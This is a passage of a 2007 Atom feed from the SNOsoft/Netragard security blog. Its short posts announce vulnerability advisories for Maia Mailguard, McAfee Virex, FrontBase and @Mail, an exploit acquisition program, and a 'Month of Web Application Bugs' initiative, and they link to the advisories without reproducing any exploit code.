width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1539268220946309845</id><published>2007-06-28T14:08:00.000-07:00</published><updated>2007-06-28T14:21:07.373-07:00</updated><title type='text'>Maia Mailguard Security Risk Advisory</title><content type='html'>&lt;a href="http://www.snosoft.com/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;SNOsoft&lt;/span&gt;&lt;/a&gt; has discovered a high risk vulnerability in Maia &lt;a href="http://www.maiamailguard.com/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Mailguard&lt;/span&gt; &lt;/a&gt;version 1.0.2 that makes it possible for an attacker to execute arbitrary commands on the affected system. The advisory will be published on &lt;a href="http://www.netragard.com/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Netragard's&lt;/span&gt; &lt;/a&gt;website shortly. Until then users of the Maia &lt;a href="http://www.maiamailguard.com/"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Mailguard&lt;/span&gt; &lt;/a&gt; web application should suspend use or add .&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;htaccess&lt;/span&gt; capabilities to the web server to mitigate the risk of compromise.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1539268220946309845?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1539268220946309845/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/06/maia-mailguard-security-risk-advisory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1539268220946309845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1539268220946309845'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/06/maia-mailguard-security-risk-advisory.html' title='Maia Mailguard Security Risk Advisory'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3211525835632160366</id><published>2007-06-18T09:53:00.000-07:00</published><updated>2007-06-18T10:00:22.216-07:00</updated><title type='text'>SNOsoft SILC</title><content type='html'>For those of you that are participating in our &lt;a href="http://snosoft.blogspot.com/2007/01/exploit-acquisition-program.html"&gt;Exploit Acquisition Program&lt;/a&gt; please contact simon@snosoft.com for information on how to access our new Secure Internet Live Conferencing (&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;SILC&lt;/span&gt;) server for discussing your research in a secure way. &lt;span style="font-weight: bold;"&gt;Don't try scanning for the server yourself because you won't find it and your IP address will be banned. &lt;/span&gt;If you have any new research or items that you would like to submit, please fill out an &lt;a href="http://www.snosoft.com/4568182/Exploit%20Acquisition%20Form.doc"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;EAF&lt;/span&gt;&lt;/a&gt; and email it to simon@snosoft.com.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3211525835632160366?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3211525835632160366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/06/snosoft-silc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3211525835632160366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3211525835632160366'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/06/snosoft-silc.html' title='SNOsoft SILC'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-653686916217968133</id><published>2007-05-24T14:04:00.000-07:00</published><updated>2007-05-24T15:07:06.514-07:00</updated><title type='text'>How secure are security appliances?</title><content type='html'>We've started focusing on the security of appliances that are installed in corporate and government networks. To our amazement most of these appliances are more insecure than the operating systems and software that we've (being the security industry) been picking on so &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;aggressively&lt;/span&gt;. In fact, we are looking at one appliance right now that is made up of software, that is &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;unpatched&lt;/span&gt;, and dates back as far as 5 years. This particular appliance is vulnerable to at least 28 critical known security issues, and god knows how many other "unique" issues.  Expect to see advisories from us in the future specifically focused on security appliances.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-653686916217968133?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/653686916217968133/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/05/how-secure-are-security-appliances.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/653686916217968133'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/653686916217968133'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/05/how-secure-are-security-appliances.html' title='How secure are security appliances?'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3037643391221260427</id><published>2007-05-23T14:02:00.000-07:00</published><updated>2007-05-24T14:04:16.947-07:00</updated><title type='text'>Mac Security</title><content type='html'>Adriel Desautels, Netragard's CTO was interviewed by ZDNET with regards to his opinion on the security of Apple OSX.  &lt;a href="http://news.zdnet.co.uk/security/0,1000000189,39286912,00.htm"&gt;Click here to read the interview&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3037643391221260427?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3037643391221260427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/05/mac-security.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3037643391221260427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3037643391221260427'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/05/mac-security.html' title='Mac Security'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-6246804216209908430</id><published>2007-03-19T16:04:00.000-07:00</published><updated>2007-03-19T16:07:47.608-07:00</updated><title type='text'>McAfee VirusScan for Mac (Virex) - local root compromise</title><content type='html'>Netragard has released another vulnerability. This time it is a local root compromise using McAfee VirusScan for Mac. Granted this isn't all that exciting but if you're at all interested it can be found here.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.netragard.com/pdfs/research/NETRAGARD-20070220.txt"&gt;http://www.netragard.com/pdfs/research/NETRAGARD-20070220.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-6246804216209908430?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/6246804216209908430/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/03/mcafee-virusscan-for-mac-virex-local.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/6246804216209908430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/6246804216209908430'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/03/mcafee-virusscan-for-mac-virex-local.html' title='McAfee VirusScan for Mac (Virex) - local root compromise'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-807423327307321935</id><published>2007-03-16T13:54:00.000-07:00</published><updated>2007-05-24T14:01:23.823-07:00</updated><title type='text'>FrontBase Database Advisory</title><content type='html'>Kevin Finisterre found a &lt;span class="bodytext"&gt;&lt;span class="bodytext"&gt;FrontBase Database &lt;= 4.2.7. buffer overflow vulnerabilitiy that was recently released by SNOsoft on Netragard's website. This particular vulnerability enables an attacker to gain remote access to a system. The official advisory (that contains working Proof of Concept) can be found &lt;a href="http://www.netragard.com/pdfs/research/NETRAGARD-20070316-FRONTBASE.txt"&gt;here&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;.&lt;span class="on" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-807423327307321935?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/807423327307321935/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/05/frontbase-database-advisory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/807423327307321935'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/807423327307321935'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/05/frontbase-database-advisory.html' title='FrontBase Database Advisory'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1336782202083498913</id><published>2007-02-01T11:34:00.000-08:00</published><updated>2007-02-01T11:43:33.205-08:00</updated><title type='text'>@Mail Webmail Security Research</title><content type='html'>The SNOsoft Research Team recently performed a light weight security assessment of the &lt;a href="http://atmail.com/"&gt;@Mail Webmail product&lt;/a&gt;. @Mail is very much like OWA with respect to look, feel and functionality.  The result of this research project was the discovery of two bugs in the product. These bugs were released as formal advisories by Netragard and can be viewed below:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.netragard.com/pdfs/research/ATMAIL-XSRF-ADVISORY-20061206.txt"&gt;http://www.netragard.com/pdfs/research/ATMAIL-XSRF-ADVISORY-20061206.txt&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.netragard.com/pdfs/research/ATMAIL-XSS-NETRAGARD-20061206.txt"&gt;http://www.netragard.com/pdfs/research/ATMAIL-XSS-NETRAGARD-20061206.txt&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1336782202083498913?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1336782202083498913/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/02/mail-webmail-xsrf-poor-input-validation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1336782202083498913'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1336782202083498913'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/02/mail-webmail-xsrf-poor-input-validation.html' title='@Mail Webmail Security Research'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1106546225072283095</id><published>2007-01-04T14:18:00.000-08:00</published><updated>2007-01-04T14:30:43.421-08:00</updated><title type='text'>Month of Web Application Bugs  (MOWAB)</title><content type='html'>Inspired by Kevin at &lt;a href="http://www.digitalmunition.com/"&gt;&lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;digitalmunitions&lt;/span&gt;&lt;/a&gt; who also happens to be the &lt;a href="http://www.netragard.com/"&gt;Chief Research Officer at &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;Netragard&lt;/span&gt; L.L.C&lt;/a&gt;., one of the &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-corrected" id="SPELLING_ERROR_2"&gt;original&lt;/span&gt; founders of &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;SNOsoft&lt;/span&gt;, and his current &lt;a href="http://projects.info-pull.com/moab/"&gt;Month of Apple Bugs (&lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;MOAB&lt;/span&gt;)&lt;/a&gt;, &lt;a href="http://www.snosoft.com/"&gt;&lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;SNOsoft&lt;/span&gt;&lt;/a&gt; will be working to produce the Month of Web Application Bugs (&lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;MOWAB&lt;/span&gt;).  Any researchers interested in participating should email me directly at simon@snosoft.com, or just post a comment to this blog.&lt;br /&gt;&lt;br /&gt;I should note, credit for this idea goes to &lt;span onclick="BLOG_clickHandler(this)" class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;Titon&lt;/span&gt;...&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1106546225072283095?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1106546225072283095/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/01/month-of-web-application-bugs-mowab.html#comment-form' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1106546225072283095'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1106546225072283095'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/01/month-of-web-application-bugs-mowab.html' title='Month of Web Application Bugs  (MOWAB)'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>5</thr:total></entry></feed>
